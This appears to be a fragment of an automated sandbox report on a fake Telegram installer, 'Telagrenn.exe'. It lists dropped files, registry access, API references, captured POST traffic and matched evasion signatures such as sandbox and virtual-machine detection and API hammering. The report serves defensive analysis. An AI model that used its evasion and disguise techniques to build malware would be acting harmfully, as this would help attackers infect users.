00000000-00002316] "E9A1C5087BF60381s.LGfBXv" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s.LGfBXv]- [targetUID: 00000000-00002316] "E9A1C5087BF60381s.BMozcq" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\E9A1C5087BF60381s.BMozcq]- [targetUID: 00000000-00002316] "prefix" has type "ASCII text with no line terminators"- Location: [%APPDATA%\Telegram Desktop\tdata\prefix]- [targetUID: 00000000-00002316] "usertag" has type "ISO-8859 text with no line terminators"- Location: [%APPDATA%\Telegram Desktop\tdata\usertag]- [targetUID: 00000000-00002316] "tsetup-x64.7.0.2.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp]- [targetUID: 00000000-00007176] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-BHBL5.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00002688] "configs.ZYSxHR" has type "data"- Location: [%APPDATA%\Telegram Desktop\tdata\D877F783D5D3EF8C\configs.ZYSxHR]- [targetUID: 00000000-00002316]50:T658,"is-5K88K.tmp" has type "Composite Document File V2 Document Can't read SAT" - Location: [%TEMP%\is-CAG3H.tmp\is-5K88K.tmp] "is-E85C2.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 11 sections" - Location: [%APPDATA%\Telegram Desktop\is-E85C2.tmp] "is-PVEBQ.tmp" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections" - Location: [%APPDATA%\Telegram Desktop\modules\x64\d3d\is-PVEBQ.tmp] "D5rra.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections" - Location: [%TEMP%\is-DUFEV.tmp\D5rra.tmp] "is-7JH8E.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections" - Location: [%APPDATA%\Telegram Desktop\is-7JH8E.tmp] "is-2BAEF.tmp" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections" - Location: [%APPDATA%\Telegram Desktop\is-2BAEF.tmp] "is-3R46B.tmp" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections" - Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-3R46B.tmp] "is-4O7G3.tmp" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections" - Location: [%ALLUSERSPROFILE%\CfServerSoftwareDistribution\is-4O7G3.tmp] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections" - Location: [%TEMP%\is-CAG3H.tmp\_isetup\_setup64.tmp] "tsetup-x64.7.0.2.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections" - Location: [%TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections" - Location: [%TEMP%\is-BHBL5.tmp\_isetup\_setup64.tmp]51:T596,"Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}\"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "")52:T4a9,"Telagrenn.exe" queries basic process information of the "C:\Windows\SysWOW64\cscript.exe" (UID: 2804) "Telagrenn.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" (UID: 2804) "Telagrenn.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" (UID: 2804) "cscript.exe" queries basic process information of the "C:\Windows\SysWOW64\cscript.exe" (UID: 6908) "tsetup-x64.7.0.2.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" (UID: 7176) "tsetup-x64.7.0.2.tmp" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" (UID: 7736) "tsetup-x64.7.0.2.tmp" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (UID: 7736) "Telegram.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (UID: 2316) "Telegram.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (UID: 1040)53:Taa0,"Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "DATA"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-100000000000}"; Key: "GENERATION"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "DATA"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}"; Key: "GENERATION"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "TELAGRENN.EXE"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSAPPCOMPAT"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER"; Key: "TSUSERENABLED"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "")54:T4cf,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains a Wine emulator-related string Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Contains ability to detect virtual environment Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: Makes a code branch decision directly after an API that is environment aware Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Contains ability to query volume size55:T9b8,"Telagrenn.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "Telagrenn.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "tsetup-x64.7.0.2.tmp" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "tsetup-x64.7.0.2.tmp" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "tsetup-x64.7.0.2.tmp" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Uninstall Telegram.lnk" "tsetup-x64.7.0.2.tmp" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "tsetup-x64.7.0.2.tmp" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "tsetup-x64.7.0.2.tmp" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Uninstall Telegram.lnk" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K666QM6SNJ8N1WNS9SO3.temp" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZSO6UA4CJSLGD4R8CZ7.temp" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a9953.TMP" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OWCGWQ1A0BFXMNJOK3LV.temp" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a99a1.TMP" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\27CIVH2TOQJ2H4UMULCR.temp" "Telegram.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a99e0.TMP" "Telegram.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "Telegram.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "Telegram.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"56:T519,"tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\TELEGRAM.LNK" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\UNINSTALL TELEGRAM.LNK" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Uninstall Telegram.lnk" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\Desktop\TELEGRAM.LNK" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\%OSUSER%\Desktop\Telegram.lnk" "tsetup-x64.7.0.2.tmp" trying to access LNK file "C:\Users\Public\Desktop\TELEGRAM.LNK" "tsetup-x64.7.0.2.tmp" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\TELEGRAM.LNK" "tsetup-x64.7.0.2.tmp" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\Telegram.lnk" "tsetup-x64.7.0.2.tmp" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Telegram Desktop\UNINSTALL TELEGRAM.LNK"57:T6b5,"Telagrenn.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "Telagrenn.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "Telagrenn.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Telagrenn.exe" trying to access non-existent file "C:\MSVCP140.DLL" "Telagrenn.exe" trying to access non-existent file "C:\MSVCP140.dll" "Telagrenn.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "Telagrenn.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\GENTEERT.DLL" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\genteert.dll" "Telagrenn.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "Telagrenn.exe" trying to access non-existent file "C:\VERSION.DLL" "Telagrenn.exe" trying to access non-existent file "C:\version.dll" "Telagrenn.exe" trying to access non-existent file "C:\MPR.DLL" "Telagrenn.exe" trying to access non-existent file "C:\mpr.dll" "Telagrenn.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "Telagrenn.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "Telagrenn.exe" trying to access non-existent file "C:\CLDAPI.DLL" "Telagrenn.exe" trying to access non-existent file "C:\CLDAPI.dll" "Telagrenn.exe" trying to access non-existent file "C:\AEPIC.DLL" "Telagrenn.exe" trying to access non-existent file "C:\AEPIC.dll" "Telagrenn.exe" trying to access non-existent file "C:\BCRYPT.DLL" "Telagrenn.exe" trying to access non-existent file "C:\bcrypt.dll" "Telagrenn.exe" trying to access non-existent file "C:\RICHED20.DLL"58:T624,"Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\GENTEE2B" "Telagrenn.exe" trying to access non-existent file "C:\TELAGRENN.EXE.LOCAL" "Telagrenn.exe" trying to access non-existent file "C:\Telagrenn.exe.Local\" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "Telagrenn.exe" trying to access non-existent file "C:\ProgramData\Microsoft\DESKTOP.INI" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies\DESKTOP.INI" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\TELEGRAM" "Telagrenn.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Telegram" "cscript.exe" trying to access non-existent file "C:\Windows\SysWOW64\AppLocker\MDM" "tsetup-x64.7.0.2.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-MJMQ8.TMP" "tsetup-x64.7.0.2.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp" "tsetup-x64.7.0.2.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\TSETUP-X64.7.0.2.TMP.LOCAL" "tsetup-x64.7.0.2.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp.Local\" "tsetup-x64.7.0.2.tmp" trying to access non-existent file "C:\Windows\SysWOW64\UXTHEME.DLL.CONFIG" "tsetup-x64.7.0.2.tmp" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IS-BHBL5.TMP"59:T4ae,Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "Telagrenn.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "Telagrenn.exe") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "Telagrenn.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "Telagrenn.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "Telagrenn.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "Telagrenn.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "Telagrenn.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "Telagrenn.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "Telagrenn.exe") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002316-00000C2C-717320434") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002316-00000C2C-718485488") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003244-00000C2C-740130075")5a:T837,Found reference to API "WinHttpReceiveResponse" (Indicator: "WinHttpReceiveResponse"; File: "Telagrenn.exe") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; File: "Telagrenn.exe") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "Telagrenn.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "Telagrenn.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "Telagrenn.exe") Found reference to API "WinHttpWriteData" (Indicator: "WinHttpWriteData"; File: "Telagrenn.exe") Found reference to API "WinHttpSetCredentials" (Indicator: "WinHttpSetCredentials"; File: "Telagrenn.exe") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "Telagrenn.exe") Found reference to API "WinHttpSetOption" (Indicator: "WinHttpSetOption"; File: "Telagrenn.exe") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "Telagrenn.exe") Found reference to API "WinHttpQueryAuthSchemes" (Indicator: "WinHttpQueryAuthSchemes"; File: "Telagrenn.exe") Found reference to API "WinHttpAddRequestHeaders" (Indicator: "WinHttpAddRequestHeaders"; File: "Telagrenn.exe") Found reference to API "WinHttpQueryDataAvailable" (Indicator: "WinHttpQueryDataAvailable"; File: "Telagrenn.exe") Found reference to API "WinHttpSetTimeouts" (Indicator: "WinHttpSetTimeouts"; File: "Telagrenn.exe") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "Telagrenn.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "Telagrenn.exe") Found reference to API "WinHttpQueryOption" (Indicator: "WinHttpQueryOption"; File: "Telagrenn.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "Telagrenn.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "Telagrenn.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "Telagrenn.exe")5b:T32c8,"149.154.175.100:80" "95.161.76.100:80" "149.154.167.51:80" "149.154.175.54:80" Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¤NC[|Ô»jxF`Oµ ÜOt=èÀ|A:Ñý,ÛF" "149.154.167.41:80" Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0\åÔ»jxF`$Ï±WÎ¾ßþº¬9®Ó3" Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ø¶ÿäÔ»jxF`iÁ]ÓaÚ/LN¸*9þ" Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 56Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ÌpÔ»j$xF`¥¤pÜ"±ÑÍÁPPpÈLLú_æfëHN¥õ", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0HUoÔ»jxF`èÉIZ6.9Æ>D¿~i", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0p=ûAÔ»j4xF`÷3ÇR7ú¦yø"o3B)¿#ì!mÂ7T9I©¶Äö¡iþ" Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ç1íÔ»jxF`¶eñlnxä°r«möWÚ" Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0do±9Ô»jxF`Æ8G|¼^)UR-ñ" Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 48Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0çF Ô»jxF`ãh^oý\C:¾gÓÞ1WrÐåq" Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 48Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ØNU£Ô»jxF`;gt2ûFºùpLLíBb¤qÔOZÑ+" Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 56Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¼&ªÔ»j$xF`oìRäå$ZSPà-ïÜÒ}Äª»§v" Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 76Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0À¡é¯Ô»j8xF`û÷ñÜñvoSO=^H²ÎGû6¡diÇÖí~äâº[ã kþÿéëEYàZ" Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0Ì<ÊÔ¸Ô»jxF`Ø%Vq "²`þMÕ/", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0CÞ½Ô»j(xF`s9áÈ±ùäÊ'-òXÌÖË©>å$Ð÷ÅÎÒ", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ðÁxÇÔ»jxF`ÓÝ=nWüe[+»WJ<", Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 44Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¨å§ÏÔ»jxF`7vaW>äsø\¦=G£y{Ê", Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0<ÇyâÔ»j4xF`Ô×æ´ÝOCéL#´Ö)b}¨Qbî)×^ÚÕîLùÛ¿»¹·z/¼tÊÎ", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0ß¿ìÔ»jxF`òÕ>oªçÉI´¤>±", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 68Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0X®¿ìÔ»j0xF`¥¶í}7ïÈfF¥©¡:-EaÍÆA´~þv÷ Òéf1IøØðëöï", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 76Connection: Keep-AliveAccept-Encoding: gzip deflateAccept-Language: en-US *User-Agent: Mozilla/5.0(ôGVüÔ»j8xF`Çúækl¶¹ú¢,;(¡(w\5GbXò¥åAn«æn°d£ìÏ0¼", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ì3+DÕ»j(xF`ßV½ÑÁ!*QæJ=\6½ cÜPQùt.@", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 68Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¨!DÕ»j0xF`=HEAØp1ÙÁ3i[!Sþ®øÄ¼}7¥MipUpûõÌ³", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: 